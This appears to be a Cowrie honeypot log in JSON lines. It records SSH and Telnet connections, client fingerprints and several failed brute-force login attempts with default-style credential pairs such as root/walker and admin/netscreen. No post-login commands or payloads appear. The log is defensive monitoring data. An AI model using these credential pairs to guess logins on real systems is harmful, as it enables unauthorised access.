{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:57.294968Z","src_ip":"159.203.92.129","session":"585202a1482e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:57.299821Z","src_ip":"159.203.92.129","session":"585202a1482e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"netscreen","message":"login attempt [admin/netscreen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:57.312810Z","src_ip":"159.203.92.129","session":"585202a1482e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.3508563041687,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:57.368758Z","src_ip":"188.166.220.49","session":"2bed66d6471a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:58.320029Z","src_ip":"159.203.92.129","session":"585202a1482e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.72524404525757,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:58.876576Z","src_ip":"188.166.220.49","session":"ea04c94734a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":51270,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8d4064bac76","protocol":"telnet","message":"New connection: 188.166.220.49:51270 (159.203.135.109:23) [session: b8d4064bac76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:59.730286Z"}
{"eventid":"cowrie.session.closed","duration":34.634663581848145,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:59.883519Z","src_ip":"188.166.220.49","session":"3fdada024c90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.756534576416016,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:59.895190Z","src_ip":"188.166.220.49","session":"c74e6ff36820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":44824,"dst_ip":"159.203.135.109","dst_port":22,"session":"82f7cdc57b03","protocol":"ssh","message":"New connection: 45.78.208.179:44824 (159.203.135.109:22) [session: 82f7cdc57b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:00.812242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:00.818331Z","src_ip":"45.78.208.179","session":"82f7cdc57b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:01.054399Z","src_ip":"45.78.208.179","session":"82f7cdc57b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.790374755859375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:01.223004Z","src_ip":"188.166.220.49","session":"c36d4073aae6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345678","message":"login attempt [deployer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:02.038009Z","src_ip":"45.78.208.179","session":"82f7cdc57b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54718,"dst_ip":"159.203.135.109","dst_port":23,"session":"07e685461ea0","protocol":"telnet","message":"New connection: 188.166.220.49:54718 (159.203.135.109:23) [session: 07e685461ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:02.372674Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:03.279536Z","src_ip":"45.78.208.179","session":"82f7cdc57b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.75183081626892,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:05.159598Z","src_ip":"188.166.220.49","session":"807843138c38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64786195755005,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:12.985228Z","src_ip":"188.166.220.49","session":"f35e6bcde5d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40024,"dst_ip":"159.203.135.109","dst_port":23,"session":"179081c2b3ef","protocol":"telnet","message":"New connection: 188.166.220.49:40024 (159.203.135.109:23) [session: 179081c2b3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:14.227858Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40388,"dst_ip":"159.203.135.109","dst_port":23,"session":"de8700255a5f","protocol":"telnet","message":"New connection: 188.166.220.49:40388 (159.203.135.109:23) [session: de8700255a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:14.430132Z"}
{"eventid":"cowrie.session.closed","duration":34.07587766647339,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:14.577915Z","src_ip":"188.166.220.49","session":"7de16580a6c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":43892,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b9aca9ce095","protocol":"telnet","message":"New connection: 188.166.220.49:43892 (159.203.135.109:23) [session: 4b9aca9ce095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:17.418418Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":43942,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a523bff18b7","protocol":"telnet","message":"New connection: 188.166.220.49:43942 (159.203.135.109:23) [session: 1a523bff18b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:17.457394Z"}
{"eventid":"cowrie.session.closed","duration":35.36792993545532,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:17.759581Z","src_ip":"188.166.220.49","session":"9f453402cc35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":44430,"dst_ip":"159.203.135.109","dst_port":23,"session":"875917ce50c2","protocol":"telnet","message":"New connection: 188.166.220.49:44430 (159.203.135.109:23) [session: 875917ce50c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:17.840876Z"}
{"eventid":"cowrie.session.closed","duration":35.484474420547485,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:19.428733Z","src_ip":"188.166.220.49","session":"68ff447da2a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54118,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4f81567ae3","protocol":"telnet","message":"New connection: 188.166.220.49:54118 (159.203.135.109:23) [session: 2a4f81567ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:25.870324Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54362,"dst_ip":"159.203.135.109","dst_port":23,"session":"e426ed8e9871","protocol":"telnet","message":"New connection: 188.166.220.49:54362 (159.203.135.109:23) [session: e426ed8e9871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:26.186700Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54376,"dst_ip":"159.203.135.109","dst_port":23,"session":"5697f4bd3b37","protocol":"telnet","message":"New connection: 188.166.220.49:54376 (159.203.135.109:23) [session: 5697f4bd3b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:26.191876Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54952,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cf0e2cff125","protocol":"telnet","message":"New connection: 188.166.220.49:54952 (159.203.135.109:23) [session: 6cf0e2cff125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:26.687818Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54820,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a72ea5701ed","protocol":"telnet","message":"New connection: 188.166.220.49:54820 (159.203.135.109:23) [session: 3a72ea5701ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:27.588561Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56068,"dst_ip":"159.203.135.109","dst_port":23,"session":"6275848adfd2","protocol":"telnet","message":"New connection: 188.166.220.49:56068 (159.203.135.109:23) [session: 6275848adfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:27.662023Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56314,"dst_ip":"159.203.135.109","dst_port":23,"session":"571d0790d6b0","protocol":"telnet","message":"New connection: 188.166.220.49:56314 (159.203.135.109:23) [session: 571d0790d6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:28.889647Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":18087,"dst_ip":"159.203.135.109","dst_port":22,"session":"89fad546e18d","protocol":"ssh","message":"New connection: 223.197.186.7:18087 (159.203.135.109:22) [session: 89fad546e18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:30.551087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:30.556138Z","src_ip":"223.197.186.7","session":"89fad546e18d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:30.777992Z","src_ip":"223.197.186.7","session":"89fad546e18d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":60982,"dst_ip":"159.203.135.109","dst_port":23,"session":"316f455b5420","protocol":"telnet","message":"New connection: 188.166.220.49:60982 (159.203.135.109:23) [session: 316f455b5420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:31.489208Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"walker","message":"login attempt [root/walker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:31.693861Z","src_ip":"223.197.186.7","session":"89fad546e18d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:32.908931Z","src_ip":"223.197.186.7","session":"89fad546e18d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.95122146606445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:35.681423Z","src_ip":"188.166.220.49","session":"b8d4064bac76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":38766,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d32b428d2dd","protocol":"telnet","message":"New connection: 188.166.220.49:38766 (159.203.135.109:23) [session: 0d32b428d2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:35.955563Z"}
{"eventid":"cowrie.session.closed","duration":35.33898997306824,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:37.711516Z","src_ip":"188.166.220.49","session":"07e685461ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5ec493903f2","protocol":"ssh","message":"New connection: 159.203.92.129:35428 (159.203.135.109:22) [session: e5ec493903f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:42.131670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:42.139790Z","src_ip":"159.203.92.129","session":"e5ec493903f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:42.144785Z","src_ip":"159.203.92.129","session":"e5ec493903f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"newpass","message":"login attempt [admin/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:42.157889Z","src_ip":"159.203.92.129","session":"e5ec493903f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":47802,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc1ad3111a0","protocol":"telnet","message":"New connection: 188.166.220.49:47802 (159.203.135.109:23) [session: fcc1ad3111a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:42.405100Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:43.196423Z","src_ip":"159.203.92.129","session":"e5ec493903f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05206036567688,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:50.279818Z","src_ip":"188.166.220.49","session":"179081c2b3ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.93700909614563,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:50.367046Z","src_ip":"188.166.220.49","session":"de8700255a5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.650851249694824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:52.069184Z","src_ip":"188.166.220.49","session":"4b9aca9ce095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":39916,"dst_ip":"159.203.135.109","dst_port":22,"session":"10df3d1a1273","protocol":"ssh","message":"New connection: 103.148.100.146:39916 (159.203.135.109:22) [session: 10df3d1a1273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:52.719241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:52.723229Z","src_ip":"103.148.100.146","session":"10df3d1a1273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:52.988190Z","src_ip":"103.148.100.146","session":"10df3d1a1273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":34134,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb9ae4f36d85","protocol":"telnet","message":"New connection: 188.166.220.49:34134 (159.203.135.109:23) [session: fb9ae4f36d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:53.089481Z"}
